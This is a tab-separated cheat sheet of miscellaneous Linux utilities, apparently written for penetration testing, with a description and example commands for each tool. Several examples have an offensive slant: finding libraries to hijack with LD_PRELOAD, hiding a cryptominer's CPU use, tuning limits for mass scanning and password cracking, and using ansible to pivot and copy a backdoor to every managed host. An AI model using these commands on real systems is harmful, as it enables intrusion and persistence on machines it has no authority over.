man	Misc Utilities	Open manual pages for commands	`man nmap` — full nmap documentation `man 5 passwd` — /etc/passwd file format spec `man syscalls` — list all Linux system calls
info	Misc Utilities	View GNU info documentation (more detailed than man for some tools)	`info coreutils` — comprehensive GNU core utilities docs
whatis	Misc Utilities	Show one-line description of a command from man pages	`whatis curl wget nc` — quick description of multiple tools at once
apropos	Misc Utilities	Search man page descriptions by keyword	`apropos packet` — find all commands related to packets `apropos -s 1 encrypt` — find section 1 commands related to encryption
type	Misc Utilities	Show how the shell interprets a command name	`type ls` — is it alias, function, binary, or builtin? `type -a python` — show all locations of python in PATH
ldd	Misc Utilities	Show shared library dependencies of an executable	`ldd /usr/bin/sudo` — see what libraries sudo depends on `ldd /usr/local/bin/target` — identify hijackable library paths for LD_PRELOAD `ldd /bin/bash` — bash library dependencies
ldconfig	Misc Utilities	Update shared library cache and links	`ldconfig -p \| grep libssl` — find SSL library version `ldconfig` — refresh library cache after adding new libs
stdbuf	Misc Utilities	Adjust I/O buffering mode of a program's streams	`stdbuf -oL tail -f /var/log/syslog \| stdbuf -oL grep --line-buffered 'error'` — unbuffered live grep on log
taskset	Misc Utilities	Set or get CPU affinity for a process	`taskset -c 0,1 ./cryptominer` — pin miner to specific CPUs to limit visibility on others
ulimit	Misc Utilities	Set or display resource limits for processes in current shell	`ulimit -a` — view all current limits `ulimit -n 65535` — increase open file descriptor limit for mass scanning tools
iconv	Misc Utilities	Convert text between different character encodings	`iconv -f utf-16le -t utf-8 file.txt` — convert Windows UTF-16 file to UTF-8 `iconv -f latin1 -t utf-8 oldfile > newfile` — fix encoding issues
update-alternatives	Misc Utilities	Manage symbolic link alternatives for system commands	`update-alternatives --list python` — list Python alternatives `update-alternatives --config java` — select default Java version
systemd-analyze	Misc Utilities	Analyze and debug systemd boot and service startup times	`systemd-analyze blame` — show services slowing down boot (spot unusual services)
ipcalc	Misc Utilities	Calculate IP network ranges, broadcast, netmask from CIDR	`ipcalc 192.168.1.0/24` — show network, broadcast, first/last host, netmask
nproc	Misc Utilities	Print number of available CPU processing units	`nproc` — check core count to set optimal thread count for hashcat/hydra
tput	Misc Utilities	Query terminfo and control terminal formatting	`tput cols; tput lines` — get terminal width/height (useful in scripts) `tput setaf 1; echo 'RED'; tput sgr0` — color output in scripts
wall	Misc Utilities	Broadcast a message to all logged-in users' terminals	`wall 'System going down for maintenance in 5 mins'` — send message to all users
write	Misc Utilities	Send a message directly to a specific user's terminal	`write username pts/1` — open write session to user on specific terminal
mesg	Misc Utilities	Control whether other users can send messages to your terminal	`mesg n` — block messages from wall/write `mesg y` — allow messages
clear	Misc Utilities	Clear the terminal screen	`clear` — clear screen before demo or after sensitive output
reset	Misc Utilities	Reset terminal to sane initial state	`reset` — fix broken terminal after cat-ing binary or failed stty
diff3	Misc Utilities	Three-way file comparison and merge	`diff3 mine orig theirs` — compare your version vs original vs their version
patch	Misc Utilities	Apply unified diff patches to source files	`patch -p1 < exploit.patch` — apply CVE patch to source `patch file < fix.patch` — patch a single file
ansible	Misc Utilities	Automation/orchestration framework — pivot to all managed hosts	`ansible all -m shell -a 'id; hostname'` — run command on all inventory hosts `ansible all -m copy -a 'src=./backdoor.sh dest=/tmp/ mode=0755'` — deploy file to all hosts `cat /etc/ansible/hosts` — read inventory to discover all managed systems
strace	Misc Utilities	Trace system calls — critical for debugging and exploit analysis	`strace -ff -o /tmp/trace ./target_binary` — trace all syscalls including forked children `strace -e trace=file ./binary 2>&1 \| grep -v ENOENT` — see all file accesses